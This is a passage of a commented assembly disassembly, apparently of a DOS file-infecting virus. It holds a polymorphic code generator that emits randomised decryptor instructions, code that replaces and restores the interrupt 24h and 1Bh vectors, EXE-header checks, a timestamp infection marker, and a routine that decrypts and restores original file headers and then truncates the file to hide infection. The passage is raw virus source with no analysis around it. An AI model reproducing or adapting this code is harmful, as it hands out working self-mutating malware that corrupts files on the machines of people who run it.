0C47 add cl,3
0C4A loc_112: ; xref 9804:0C38
0C4A mov bl,al
0C4C loc_113: ; xref 9804:0C54, 0C5C, 0C65
0C4C call sub_21 ; (093A)
0C4F mov ah,al
0C51 cmp ah,2Eh ; '.'
0C54 je loc_113 ; Jump if equal
0C56 and ah,0F8h
0C59 cmp ah,0B0h
0C5C je loc_113 ; Jump if equal
0C5E stosb ; Store al to es:[di]
0C5F add cl,1
0C62 sub bl,1
0C65 jnz loc_113 ; Jump if not zero
0C67 loc_ret_114: ; xref 9804:0C24
0C67 retn
sub_29 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0AD5
;==========================================================================
0C68 sub_30 proc near
0C68 loc_115: ; xref 9804:0C7E
0C68 test data_59,10h ; (9804:018C=4)
0C6D jnz loc_117 ; Jump if not zero
0C6F call sub_21 ; (093A)
0C72 test al,4
0C74 jnz loc_116 ; Jump if not zero
0C76 movsb ; Mov [si] to es:[di]
0C77 retn
0C78 loc_116: ; xref 9804:0C74
0C78 and ah,7
0C7B cmp ah,4
0C7E je loc_115 ; Jump if equal
0C80 mov al,ah
0C82 or al,58h ; 'X'
0C84 stosb ; Store al to es:[di]
0C85 mov al,0FFh
0C87 or ah,0E0h
0C8A stosw ; Store ax to es:[di]
0C8B add cl,2
0C8E retn
0C8F loc_117: ; xref 9804:0C6D
0C8F xor data_59,10h ; (9804:018C=4)
0C94 mov al,0E9h
0C96 stosb ; Store al to es:[di]
0C97 add cl,2
0C9A mov al,cl
0C9C cbw ; Convrt byte to word
0C9D add ax,1E7Bh
0CA0 neg ax
0CA2 stosw ; Store ax to es:[di]
0CA3 retn
sub_30 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0A31
;==========================================================================
0CA4 sub_31 proc near
0CA4 push bx
0CA5 mov si,0E70h
0CA8 call sub_21 ; (093A)
0CAB jnp loc_118 ; Jump if not parity
0CAD , mov di,offset data_83 ; (9804:0E75=0BAh)
0CB0 mov ax,[di]
0CB2 push word ptr [di+2]
0CB5 push si
0CB6 movsw ; Mov [si] to es:[di]
0CB7 movsb ; Mov [si] to es:[di]
0CB8 pop si
0CB9 mov [si],ax
0CBB pop ax
0CBC mov [si+2],al
0CBF loc_118: ; xref 9804:0CAB
0CBF mov di,1E86h
0CC2 call sub_21 ; (093A)
0CC5 cmp al,55h ; 'U'
0CC7 jb loc_119 ; Jump if below
0CC9 cmp al,0AAh
0CCB jb loc_120 ; Jump if below
0CCD mov ax,[si+3]
0CD0 stosw ; Store ax to es:[di]
0CD1 movsw ; Mov [si] to es:[di]
0CD2 movsb ; Mov [si] to es:[di]
0CD3 inc si
0CD4 inc si
0CD5 movsw ; Mov [si] to es:[di]
0CD6 movsb ; Mov [si] to es:[di]
0CD7 mov byte ptr ds:[0F5Bh],3Eh ; (9804:0F5B=0) '>'
0CDC jmp short loc_121 ; (0CF7)
0CDE loc_119: ; xref 9804:0CC7
0CDE movsw ; Mov [si] to es:[di]
0CDF movsb ; Mov [si] to es:[di]
0CE0 mov ax,[si]
0CE2 inc si
0CE3 inc si
0CE4 movsw ; Mov [si] to es:[di]
0CE5 movsb ; Mov [si] to es:[di]
0CE6 stosw ; Store ax to es:[di]
0CE7 mov byte ptr ds:[0F5Bh],2Fh ; (9804:0F5B=0) '/'
0CEC jmp short loc_121 ; (0CF7)
0CEE loc_120: ; xref 9804:0CCB
0CEE movsw ; Mov [si] to es:[di]
0CEF movsw ; Mov [si] to es:[di]
0CF0 movsw ; Mov [si] to es:[di]
0CF1 movsw ; Mov [si] to es:[di]
0CF2 mov byte ptr ds:[0F5Bh],3Bh ; (9804:0F5B=0) ';'
0CF7 loc_121: ; xref 9804:0CDC, 0CEC
0CF7 mov cx,9
0CFA rep movsb ; Rep when cx >0 Mov [si] to es:[di]
0CFC pop bx
0CFD retn
sub_31 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0A51
;==========================================================================
0CFE sub_32 proc near
0CFE call sub_21 ; (093A)
0D01 cmp al,80h
0D03 jb loc_ret_125 ; Jump if below
0D05 test ah,8
0D08 jnz loc_123 ; Jump if not zero
0D0A mov al,0FAh
0D0C loc_122: ; xref 9804:0D28
0D0C stosb ; Store al to es:[di]
0D0D add cl,1
0D10 retn
0D11 loc_123: ; xref 9804:0D08
0D11 push bx
0D12 , mov bx,offset data_72 ; (9804:082F='PXS[QYRZW_V^U]')
0D15 loc_124: ; xref 9804:0D17
0D15 add al,14h
0D17 jnc loc_124 ; Jump if carry=0
0D19 cbw ; Convrt byte to word
0D1A and al,0FEh
0D1C add bx,ax
0D1E mov ah,[bx]
0D20 pop bx
0D21 mov al,9Dh
0D23 cmp data_48,1 ; (9804:0179=1)
0D28 je loc_122 ; Jump if equal
0D2A stosw ; Store ax to es:[di]
0D2B add cl,2
0D2E loc_ret_125: ; xref 9804:0D03
0D2E retn
sub_32 endp
0D2F loc_126: ; xref 9804:0D3A
0D2F xor data_59,8 ; (9804:018C=4)
0D34 retn
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0AA5
;==========================================================================
0D35 sub_33 proc near
0D35 test data_59,8 ; (9804:018C=4)
0D3A jnz loc_126 ; Jump if not zero
0D3C push bx
0D3D loc_127: ; xref 9804:0D54, 0D5B, 0D6B, 0D72
0D3D call sub_21 ; (093A)
0D40 test ah,1
0D43 jz loc_129 ; Jump if zero
0D45 and ax,7
0D48 mov bx,ax
0D4A cmp bl,4
0D4D jne loc_128 ; Jump if not equal
0D4F cmp byte ptr data_81,0B0h ; (9804:0E73=0B1h)
0D54 je loc_127 ; Jump if equal
0D56 cmp byte ptr data_96,0 ; (9804:0F5F=3)
0D5B je loc_127 ; Jump if equal
0D5D loc_128: ; xref 9804:0D4D
0D5D mov al,data_100[bx] ; (9804:0F6A=64h)
0D61 stosb ; Store al to es:[di]
0D62 inc cl
0D64 pop bx
0D65 retn
0D66 loc_129: ; xref 9804:0D43
0D66 cmp byte ptr data_96,0 ; (9804:0F5F=3)
0D6B je loc_127 ; Jump if equal
0D6D cmp byte ptr data_95,0 ; (9804:0F5E=6)
0D72 je loc_127 ; Jump if equal
0D74 loc_130: ; xref 9804:0D7C
0D74 call sub_21 ; (093A)
0D77 and ax,7
0D7A cmp al,5
0D7C ja loc_130 ; Jump if above
0D7E shl al,1 ; Shift w/zeros fill
0D80 mov bx,ax
0D82 mov ax,data_101[bx] ; (9804:0F72=0F0C0h)
0D86 stosw ; Store ax to es:[di]
0D87 cmp bl,6
0D8A ja loc_131 ; Jump if above
0D8C call sub_21 ; (093A)
0D8F and al,0Fh
0D91 stosb ; Store al to es:[di]
0D92 add cl,1
0D95 cmp bl,6
0D98 jne loc_131 ; Jump if not equal
0D9A mov al,ah
0D9C stosb ; Store al to es:[di]
0D9D add cl,1
0DA0 loc_131: ; xref 9804:0D8A, 0D98
0DA0 add cl,2
0DA3 pop bx
0DA4 retn
sub_33 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0A59
;==========================================================================
0DA5 sub_34 proc near
0DA5 call sub_21 ; (093A)
0DA8 cmp ax,5555h
0DAB jb loc_ret_134 ; Jump if below
0DAD or data_59,8 ; (9804:018C=4)
0DB2 call sub_37 ; (0E3D)
0DB5 call sub_21 ; (093A)
0DB8 xchg bx,ax
0DB9 and bx,2
0DBC mov ax,data_98[bx] ; (9804:0F61=0EC8Bh)
0DC0 stosw ; Store ax to es:[di]
0DC1 mov dx,data_78 ; (9804:0E6E=9)
0DC5 add dx,1E6Ah
0DC9 add dx,cx
0DCB add cl,2
0DCE test al,8
0DD0 jnz loc_132 ; Jump if not zero
0DD2 mov al,81h
0DD4 stosb ; Store al to es:[di]
0DD5 add cl,7
0DD8 call sub_35 ; (0DFC)
0DDB mov al,0FAh
0DDD stosb ; Store al to es:[di]
0DDE xchg dx,ax
0DDF stosw ; Store ax to es:[di]
0DE0 retn
0DE1 loc_132: ; xref 9804:0DD0
0DE1 mov al,80h
0DE3 stosb ; Store al to es:[di]
0DE4 add cl,6
0DE7 call sub_35 ; (0DFC)
0DEA cmp ah,80h
0DED ja loc_133 ; Jump if above
0DEF mov al,0FBh
0DF1 stosb ; Store al to es:[di]
0DF2 mov al,dh
0DF4 stosb ; Store al to es:[di]
0DF5 retn
0DF6 loc_133: ; xref 9804:0DED
0DF6 mov al,0FAh
0DF8 stosb ; Store al to es:[di]
0DF9 xchg dx,ax
0DFA stosb ; Store al to es:[di]
0DFB loc_ret_134: ; xref 9804:0DAB
0DFB retn
sub_34 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0DD8, 0DE7
;==========================================================================
0DFC sub_35 proc near
0DFC loc_135: ; xref 9804:0E07
0DFC call sub_21 ; (093A)
0DFF mov bl,al
0E01 and bx,7
0E04 cmp bl,4
0E07 ja loc_135 ; Jump if above
0E09 mov al,data_99[bx] ; (9804:0F65=7Eh)
0E0D stosb ; Store al to es:[di]
0E0E cmp bl,3
0E11 je loc_137 ; Jump if equal
0E13 cmp bl,4
0E16 jne loc_ret_138 ; Jump if not equal
0E18 test byte ptr [di-2],1
0E1C jnz loc_136 ; Jump if not zero
0E1E neg dh
0E20 neg dl
0E22 retn
0E23 loc_136: ; xref 9804:0E1C
0E23 neg dx
0E25 retn
0E26 loc_137: ; xref 9804:0E11
0E26 not dx
0E28 loc_ret_138: ; xref 9804:0E16
0E28 retn
sub_35 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0A5C
;==========================================================================
0E29 sub_36 proc near
0E29 test data_59,8 ; (9804:018C=4)
0E2E jz loc_ret_139 ; Jump if zero
0E30 call sub_21 ; (093A)
0E33 and ah,7Fh
0E36 add ah,0Ah
0E39 mov al,75h ; 'u'
0E3B stosw ; Store ax to es:[di]
0E3C loc_ret_139: ; xref 9804:0E2E
0E3C retn
sub_36 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0DB2
;==========================================================================
0E3D sub_37 proc near
0E3D add cl,2
0E40 mov bl,2Ah ; '*'
0E42 call sub_21 ; (093A)
0E45 loc_140: ; xref 9804:0E47
0E45 add al,bl
0E47 jnc loc_140 ; Jump if carry=0
0E49 and ax,0FEh
0E4C xchg bx,ax
0E4D mov ax,data_71[bx] ; (9804:0803=2BCDh)
0E51 stosw ; Store ax to es:[di]
0E52 retn
sub_37 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0A06
;==========================================================================
0E53 sub_38 proc near
0E53 push ax
0E54 cmp word ptr ds:[0E6Ch],0 ; (9804:0E6C=0E6Ah)
0E59 mov cx,200h
0E5C jnz loc_141 ; Jump if not zero
0E5E mov cx,dx
0E60 loc_141: ; xref 9804:0E5C
0E60 mov dx,1E86h
0E63 mov di,dx
0E65 mov ah,40h ; '@'
0E67 call sub_5 ; (02C5)
0E6A pop ax
0E6B retn
sub_38 endp
0E6C db 6Ah, 0Eh
0E6E data_78 dw 9 ; xref 9804:05B6, 062D, 0630, 09A6
; 0DC1
0E70 data_79 db 0BFh ; xref 9804:0F0F
0E71 data_80 dw 0 ; xref 9804:0F56
0E73 data_81 db 0B1h ; xref 9804:0D4F, 0ED8
0E74 data_82 db 2Dh ; xref 9804:09CE
0E75 data_83 db 0BAh ; xref 9804:0CAD, 0E89
0E76 data_84 dw 9 ; xref 9804:09A9
0E78 data_85 db 57h ; xref 9804:0E91
0E79 loc_142: ; xref 9804:0E7E
0E79 add cs:[di],cl
0E7C inc di
0E7D dec dx
0E7E jbe loc_142 ; Jump if below or =
0E80 retn
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0A2E
;==========================================================================
0E81 sub_39 proc near
0E81 push bx
0E82 call sub_19 ; (08B6)
0E85 mov ah,data_102[bx] ; (9804:0F7E=0BBh)
0E89 mov data_83,ah ; (9804:0E75=0BAh)
0E8D mov ah,data_103[bx] ; (9804:0F81=53h)
0E91 mov data_85,ah ; (9804:0E78=57h)
0E95 call sub_21 ; (093A)
0E98 mov byte ptr ds:[0F5Ch],ah ; (9804:0F5C=0FFh)
0E9C cmp ah,80h
0E9F ja loc_143 ; Jump if above
0EA1 mov ah,data_105[bx] ; (9804:0F87=4Bh)
0EA5 jmp short loc_144 ; (0EAB)
0EA7 loc_143: ; xref 9804:0E9F
0EA7 mov ah,data_104[bx] ; (9804:0F84=43h)
0EAB loc_144: ; xref 9804:0EA5
0EAB mov byte ptr ds:[0E7Ch],ah ; (9804:0E7C=47h)
0EAF mov dl,bl
0EB1 add bl,3
0EB4 cmp bl,3
0EB7 jne loc_145 ; Jump if not equal
0EB9 sub bl,2
0EBC loc_145: ; xref 9804:0EB7
0EBC mov byte ptr ds:[0F5Dh],bl ; (9804:0F5D=64h)
0EC0 loc_146: ; xref 9804:0ECF
0EC0 call sub_21 ; (093A)
0EC3 not ax
0EC5 and al,7
0EC7 mov bl,al
0EC9 shr al,1 ; Shift w/zeros fill
0ECB cmp byte ptr ds:[0F5Dh],al ; (9804:0F5D=64h)
0ECF je loc_146 ; Jump if equal
0ED1 mov data_95,al ; (9804:0F5E=6)
0ED4 mov ah,data_110[bx] ; (9804:0FA6=0B0h)
0ED8 mov data_81,ah ; (9804:0E73=0B1h)
0EDC shl dl,1 ; Shift w/zeros fill
0EDE shl dl,1 ; Shift w/zeros fill
0EE0 shl dl,1 ; Shift w/zeros fill
0EE2 add bl,dl
0EE4 mov ah,data_111[bx] ; (9804:0FAE=7)
0EE8 mov byte ptr ds:[0E7Bh],ah ; (9804:0E7B=0Dh)
0EEC loc_147: ; xref 9804:0EF9, 0EFF, 0F05
0EEC call sub_21 ; (093A)
0EEF not ax
0EF1 mov bl,al
0EF3 and bl,7
0EF6 cmp bl,6
0EF9 ja loc_147 ; Jump if above
0EFB cmp byte ptr ds:[0F5Dh],bl ; (9804:0F5D=64h)
0EFF je loc_147 ; Jump if equal
0F01 cmp data_95,bl ; (9804:0F5E=6)
0F05 je loc_147 ; Jump if equal
0F07 mov data_96,bl ; (9804:0F5F=3)
0F0B mov ah,data_106[bx] ; (9804:0F8A=0B8h)
0F0F mov data_79,ah ; (9804:0E70=0BFh)
0F13 mov ah,data_107[bx] ; (9804:0F91=48h)
0F17 mov byte ptr ds:[0E7Dh],ah ; (9804:0E7D=4Ah)
0F1B call sub_21 ; (093A)
0F1E and al,7
0F20 cbw ; Convrt byte to word
0F21 mov bx,ax
0F23 mov ah,data_112[bx] ; (9804:0FC6=75h)
0F27 mov byte ptr ds:[0E7Eh],ah ; (9804:0E7E=76h)
0F2B mov data_97,bl ; (9804:0F60=7)
0F2F call sub_21 ; (093A)
0F32 not ax
0F34 xor bx,bx ; Zero register
0F36 mov bl,al
0F38 and bl,3
0F3B mov al,data_48 ; (9804:0179=1)
0F3E or al,al ; Zero ?
0F40 jz loc_148 ; Jump if zero
0F42 mov bl,al
0F44 loc_148: ; xref 9804:0F40
0F44 mov ah,data_113[bx] ; (9804:0FCE=3Eh)
0F48 mov byte ptr ds:[0E79h],ah ; (9804:0E79=2Eh)
0F4C mov al,byte ptr ds:[0F5Ch] ; (9804:0F5C=0FFh)
0F4F and al,7
0F51 cbw ; Convrt byte to word
0F52 inc ax
0F53 add ax,1E6Ah
0F56 mov data_80,ax ; (9804:0E71=0)
0F59 pop bx
0F5A retn
sub_39 endp
0F5B add bh,bh
0F5D db 64h
0F5E data_95 db 6 ; xref 9804:0D6D, 0ED1, 0F01, 149F
; 161C
0F5F data_96 db 3 ; xref 9804:0B2C, 0D56, 0D66, 0F07
0F60 data_97 db 7 ; xref 9804:0B1F, 0B32, 0B39, 0BE7
; 0F2B
0F61 data_98 dw 0EC8Bh ; Data table (indexed access)
; xref 9804:0DBC
0F63 db 54h, 5Dh
0F65 data_99 db 7Eh ; Data table (indexed access)
; xref 9804:0E09
0F66 db 76h, 6Eh, 66h, 46h
0F6A data_100 db 64h ; Data table (indexed access)
; xref 9804:0D5D
0F6B db 65h, 67h, 9Bh,0D6h, 9Bh, 64h
0F71 db 65h
0F72 data_101 dw 0F0C0h ; Data table (indexed access)
; xref 9804:0D82
0F74 db 0C1h,0F0h,0F6h,0C8h,0F7h,0C8h
0F7A db 0D0h,0F0h,0D1h,0F0h
0F7E data_102 db 0BBh ; Data table (indexed access)
; xref 9804:0E85, 146D
0F7F db 0BFh,0BEh
0F81 data_103 db 53h ; Data table (indexed access)
; xref 9804:0E8D
0F82 db 57h, 56h
0F84 data_104 db 43h ; Data table (indexed access)
; xref 9804:0EA7, 1475
0F85 db 47h, 46h
0F87 data_105 db 4Bh ; Data table (indexed access)
; xref 9804:0EA1
0F88 db 4Fh, 4Eh
0F8A data_106 db 0B8h ; Data table (indexed access)
; xref 9804:0F0B
0F8B db 0BBh,0B9h,0BAh,0BFh,0BEh,0BDh
0F91 data_107 db 48h ; Data table (indexed access)
; xref 9804:0F13
0F92 db 4Bh, 49h, 4Ah, 4Fh, 4Eh, 4Dh
0F98 data_108 db 0E8h ; Data table (indexed access)
; xref 9804:0B46, 0B91, 0BAD, 0C06
0F99 db 0EBh,0E9h,0EAh,0EFh,0EEh,0EDh
0F9F data_109 db 0C0h ; Data table (indexed access)
; xref 9804:0B4E, 0B99, 0BA5, 0C12
0FA0 db 0C3h,0C1h,0C2h,0C7h,0C6h,0C5h
0FA6 data_110 db 0B0h ; Data table (indexed access)
; xref 9804:0ED4, 1113, 14A3
0FA7 db 0B4h,0B3h,0B7h,0B1h,0B5h,0B2h
0FAD db 0B6h
0FAE data_111 db 7 ; Data table (indexed access)
; xref 9804:0EE4, 10FC, 14BB
0FAF db 27h, 00h, 00h, 0Fh, 2Fh, 17h
0FB5 db 37h, 05h, 25h, 1Dh, 3Dh, 0Dh
0FBB db 2Dh, 15h, 35h, 04h, 24h, 1Ch
0FC1 db 3Ch, 0Ch, 2Ch, 14h
0FC5 db 34h
0FC6 data_112 db 75h ; Data table (indexed access)
; xref 9804:0F23
0FC7 db 79h, 7Fh, 7Dh, 77h, 73h, 72h
0FCD db 76h
0FCE data_113 db 3Eh ; Data table (indexed access)
; xref 9804:0F44, 15C5
0FCF db 2Eh, 26h, 36h
0FD2 data_114 db 30h ; Data table (indexed access)
; xref 9804:09AF, 09BE, 10E3, 14D6
; 14E2
0FD3 db 00h, 28h, 30h
0FD6 data_115 db 0C0h ; Data table (indexed access)
; xref 9804:14AB, 1626
0FD7 db 0C4h,0C3h,0C7h,0C1h,0C5h,0C2h
0FDD db 0C6h
0FDE data_116 db 0E8h ; Data table (indexed access)
; xref 9804:1631
0FDF db 0ECh,0EBh,0EFh,0E9h,0EDh,0EAh
0FE5 db 0EEh
0FE6 data_117 db 75h ; Data table (indexed access)
; xref 9804:14CB
0FE7 db 78h, 7Ch, 7Eh
0FEA data_118 dw 1F16h ; Data table (indexed access)
; xref 9804:15E8
0FEC db 50h, 1Fh, 8Eh,0D8h, 16h, 07h
0FF2 db 50h, 07h, 8Eh,0C0h
0FF6 data_119 db 0C0h ; Data table (indexed access)
; xref 9804:151E
0FF7 db 0C9h,0D2h,0DBh
0FFA data_120 dw 178h ; xref 9804:11D3, 1213
0FFC data_121 dw 0A17h ; xref 9804:11DB
0FFE data_122 dw 604h ; xref 9804:11E3
1000 data_123 dw 315h ; xref 9804:11EB
1002 db 0B0h, 03h,0CFh
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:03C6
;==========================================================================
1005 sub_40 proc near
1005 push ax
1006 push bx
1007 push cx
1008 push dx
1009 push es
100A push ds
100B push di
100C push si
100D call sub_42 ; (11CA)
1010 call sub_12 ; (068B)
1013 mov ax,3D02h
1016 call sub_5 ; (02C5)
1019 jc loc_153 ; Jump if carry Set
101B push ax
101C call sub_15 ; (06FE)
101F add bx,4
1022 mov cx,bx
1024 pop bx
1025 cmp cx,0Eh
1028 je loc_152 ; Jump if equal
102A push cs
102B pop ds
102C cld ; Clear direction
102D , mov di,offset 73Bh ; (9804:073B='LP.EXE9E.EXE')
1030 , mov si,offset data_67 ; (9804:0748='LP.EXED.COME')
1033 repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
1035 jcxz loc_149 ; Jump if cx=0
1037 jmp short loc_152 ; (1067)
1039 loc_149: ; xref 9804:1035
1039 mov cx,1Ch
103C mov dx,1E6Ah
103F mov ah,3Fh ; '?'
1041 call sub_5 ; (02C5)
1044 jc loc_152 ; Jump if carry Set
1046 call sub_10 ; (0669)
1049 mov ax,data_51 ; (9804:017E=61F7h)
104C and al,1Fh
104E cmp al,11h
1050 jne loc_151 ; Jump if not equal
1052 mov ax,data_157 ; (9804:1E6A=0BC98h)
1055 cmp ax,5A4Dh
1058 je loc_150 ; Jump if equal
105A cmp ax,4D5Ah
105D jne loc_151 ; Jump if not equal
105F loc_150: ; xref 9804:1058
105F call sub_41 ; (107B)
1062 jc loc_152 ; Jump if carry Set
1064 loc_151: ; xref 9804:1050, 105D
1064 call sub_11 ; (067A)
1067 loc_152: ; xref 9804:1028, 1037, 1044, 1062
1067 mov ah,3Eh ; '>'
1069 call sub_5 ; (02C5)
106C loc_153: ; xref 9804:1019
106C call sub_13 ; (069F)
106F call sub_43 ; (1209)
1072 pop si
1073 pop di
1074 pop ds
1075 pop es
1076 pop dx
1077 pop cx
1078 pop bx
1079 pop ax
107A retn
sub_40 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0494, 105F
;==========================================================================
107B sub_41 proc near
107B mov ax,ds:data_168e ; (9804:1E80=0)
107E mov dx,10h
1081 mul dx ; dx:ax = reg * ax
1083 add ax,ds:data_166e ; (9804:1E7E=0)
1087 adc dx,0
108A mov cx,data_162 ; (9804:1E72=0EB2Dh)
108E shl cx,1 ; Shift w/zeros fill
1090 shl cx,1 ; Shift w/zeros fill
1092 shl cx,1 ; Shift w/zeros fill
1094 shl cx,1 ; Shift w/zeros fill
1096 add ax,cx
1098 adc dx,0
109B mov cx,dx
109D mov dx,ax
109F mov ax,4200h
10A2 call sub_5 ; (02C5)
10A5 jnc loc_154 ; Jump if carry=0
10A7 retn
10A8 loc_154: ; xref 9804:10A5
10A8 sub ax,1E6Ah
10AB sbb dx,0
10AE push ax
10AF push dx
10B0 mov ah,3Fh ; '?'
10B2 mov cx,80h
10B5 mov dx,1E88h
10B8 call sub_5 ; (02C5)
10BB jnc loc_155 ; Jump if carry=0
10BD cmp ax,24h
10C0 ja loc_155 ; Jump if above
10C2 add sp,4
10C5 stc ; Set carry flag
10C6 retn
10C7 loc_155: ; xref 9804:10BB, 10C0
10C7 push bx
10C8 mov di,ax
10CA add di,dx
10CC mov cx,32h
10CF std ; Set direction flag
10D0 mov al,2Eh ; '.'
10D2 repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
10D4 or cx,cx ; Zero ?
10D6 jnz loc_156 ; Jump if not zero
10D8 pop bx
10D9 add sp,4
10DC stc ; Set carry flag
10DD retn
10DE loc_156: ; xref 9804:10D6
10DE mov ah,[di+2]
10E1 xor bx,bx ; Zero register
10E3 loc_157: ; xref 9804:10EF
10E3 , cmp data_114[bx],ah ; (9804:0FD2=30h)
10E7 je loc_159 ; Jump if equal
10E9 inc bx
10EA cmp bx,4
10ED ja loc_158 ; Jump if above
10EF jmp short loc_157 ; (10E3)
10F1 loc_158: ; xref 9804:10ED
10F1 pop bx
10F2 add sp,4
10F5 stc ; Set carry flag
10F6 retn
10F7 loc_159: ; xref 9804:10E7
10F7 mov al,[di+3]
10FA xor bx,bx ; Zero register
10FC loc_160: ; xref 9804:1108
10FC , cmp al,data_111[bx] ; (9804:0FAE=7)
1100 je loc_162 ; Jump if equal
1102 inc bx
1103 cmp bx,19h
1106 ja loc_161 ; Jump if above
1108 jmp short loc_160 ; (10FC)
110A loc_161: ; xref 9804:1106
110A pop bx
110B add sp,4
110E stc ; Set carry flag
110F retn
1110 loc_162: ; xref 9804:1100
1110 and bl,7
1113 mov al,data_110[bx] ; (9804:0FA6=0B0h)
1117 mov cx,32h
111A repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
111C or cx,cx ; Zero ?
111E jnz loc_163 ; Jump if not zero
1120 pop bx
1121 add sp,4
1124 stc ; Set carry flag
1125 retn
1126 loc_163: ; xref 9804:111E
1126 mov al,[di+2]
1129 cld ; Clear direction
112A pop bx
112B pop cx
112C pop dx
112D push dx
112E push cx
112F push ax
1130 mov ax,4200h
1133 add dx,16Bh
1137 adc cx,0
113A call sub_5 ; (02C5)
113D mov cx,0Fh
1140 mov dx,1E88h
1143 mov ah,3Fh ; '?'
1145 call sub_5 ; (02C5)
1148 pop ax
1149 mov byte ptr ds:[1154h],ah ; (9804:1154=0)
114D jmp short $+2 ; delay for I/O
114F mov di,dx
1151 mov cx,0Fh
1154 locloop_164: ; xref 9804:1159
1154 add [di],al
1156 not byte ptr [di]
1158 inc di
1159 loop locloop_164 ; Loop if cx > 0
115B mov di,dx
115D mov ax,[di]
115F mov ds:data_166e,ax ; (9804:1E7E=0)
1162 mov ax,[di+2]
1165 mov ds:data_168e,ax ; (9804:1E80=0)
1168 mov ax,[di+4]
116B mov ds:data_165e,ax ; (9804:1E7A=0)
116E mov ax,[di+6]
1171 mov ds:data_164e,ax ; (9804:1E78=0)
1174 mov ax,[di+8]
1177 mov data_159,ax ; (9804:1E6C=4E2Dh)
117A mov ax,[di+0Ah]
117D mov data_161,ax ; (9804:1E6E=2417h)
1180 mov ax,[di+0Ch]
1183 mov data_51,ax ; (9804:017E=61F7h)
1186 mov al,[di+0Eh]
1189 cmp al,1
118B je loc_165 ; Jump if equal
118D add sp,4
1190 stc ; Set carry flag
1191 retn
1192 loc_165: ; xref 9804:118B
1192 pop cx
1193 pop dx
1194 push dx
1195 push cx
1196 and dx,1FFh
119A cmp data_159,dx ; (9804:1E6C=4E2Dh)
119E je loc_166 ; Jump if equal
11A0 add sp,4
11A3 stc ; Set carry flag
11A4 retn
11A5 loc_166: ; xref 9804:119E
11A5 xor cx,cx ; Zero register
11A7 mov dx,cx
11A9 mov ax,4200h
11AC call sub_5 ; (02C5)
11AF mov dx,1E6Ah
11B2 mov cx,1Ch
11B5 mov ah,40h ; '@'
11B7 call sub_5 ; (02C5)
11BA pop cx
11BB pop dx
11BC mov ax,4200h
11BF call sub_5 ; (02C5)
11C2 mov ah,40h ; '@'
11C4 xor cx,cx ; Zero register
11C6 call sub_5 ; (02C5)
11C9 retn
sub_41 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0431, 100D, 124B
;==========================================================================
11CA sub_42 proc near
11CA push es
11CB xor ax,ax ; Zero register
11CD mov es,ax
11CF mov ax,es:data_12e ; (0000:0090=155h)
11D3 mov cs:data_120,ax ; (9804:0FFA=178h)
11D7 mov ax,es:data_13e ; (0000:0092=1336h)
11DB mov cs:data_121,ax ; (9804:0FFC=0A17h)
11DF mov ax,es:data_4e ; (0000:006C=6EEh)
11E3 mov cs:data_122,ax ; (9804:0FFE=604h)
11E7 mov ax,es:data_5e ; (0000:006E=70h)
11EB mov cs:data_123,ax ; (9804:1000=315h)
11EF mov es:data_13e,cs ; (0000:0092=1336h)
11F4 mov word ptr es:data_12e,1002h ; (0000:0090=155h)
11FB mov es:data_5e,cs ; (0000:006E=70h)
1200 mov word ptr es:data_4e,1004h ; (0000:006C=6EEh)
1207 pop es
1208 retn
sub_42 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:04BA, 106F, 12B9
;==========================================================================
1209 sub_43 proc near
1209 push ds
120A push es
120B push si
120C xor ax,ax ; Zero register
120E cld ; Clear direction
120F push cs
1210 pop ds
1211 mov es,ax
1213 , mov si,offset data_120 ; (9804:0FFA=78h)
1216 , mov di,data_12e ; (0000:0090=55h)
1219 movsw ; Mov [si] to es:[di]
121A movsw ; Mov [si] to es:[di]
121B , mov di,data_4e ; (0000:006C=0EEh)
121E movsw ; Mov [si] to es:[di]
121F movsw ; Mov [si] to es:[di]
1220 pop si
1221 pop es
1222 pop ds
1223 retn
sub_43 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:05E2
;==========================================================================
1224 sub_44 proc near
1224 loc_167: ; xref 9804:122A
1224 call sub_21 ; (093A)
1227 and ax,3
122A jz loc_167 ; Jump if zero
122C add ax,ds:data_168e ; (9804:1E80=0)
1230 mov ds:data_164e,ax ; (9804:1E78=0)
1233 call sub_21 ; (093A)
1236 and ax,7
1239 add ax,1F7Ah
123C and al,0FEh
123E mov ds:data_165e,ax ; (9804:1E7A=0)
1241 retn
sub_44 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:03CF, 0416
;==========================================================================
1242 sub_45 proc near
1242 push bx
1243 push cx
1244 push dx
1245 push es
1246 push ds
1247 push di
1248 push si
1249 pushf ; Push flags
124A push ax
124B call sub_42 ; (11CA)
124E test cs:data_59,1 ; (9804:018C=4)
1254 jnz loc_170 ; Jump if not zero
1256 call sub_10 ; (0669)
1259 mov ax,cs:data_51 ; (9804:017E=61F7h)
125D and al,1Fh
125F cmp al,11h
1261 je loc_170 ; Jump if equal
1263 call sub_46 ; (12C6)
1266 jc loc_170 ; Jump if carry Set
1268 xor cx,cx ; Zero register
126A mov dx,cx
126C mov ax,4200h
126F call sub_5 ; (02C5)
1272 jc loc_170 ; Jump if carry Set
1274 mov ah,3Fh ; '?'
1276 mov cx,1Ch
1279 push cs
127A pop ds
127B push ds
127C pop es
127D mov dx,1E6Ah
1280 call sub_5 ; (02C5)
1283 jc loc_170 ; Jump if carry Set
1285 cmp ax,cx
1287 jne loc_170 ; Jump if not equal
1289 mov si,dx
128B cld ; Clear direction
128C lodsw ; String [si] to ax
128D cmp ax,5A4Dh
1290 je loc_168 ; Jump if equal
1292 cmp ax,4D5Ah
1295 je loc_168 ; Jump if equal
1297 call sub_9 ; (05F1)
129A jc loc_170 ; Jump if carry Set
129C jmp short loc_169 ; (12A3)
129E loc_168: ; xref 9804:1290, 1295
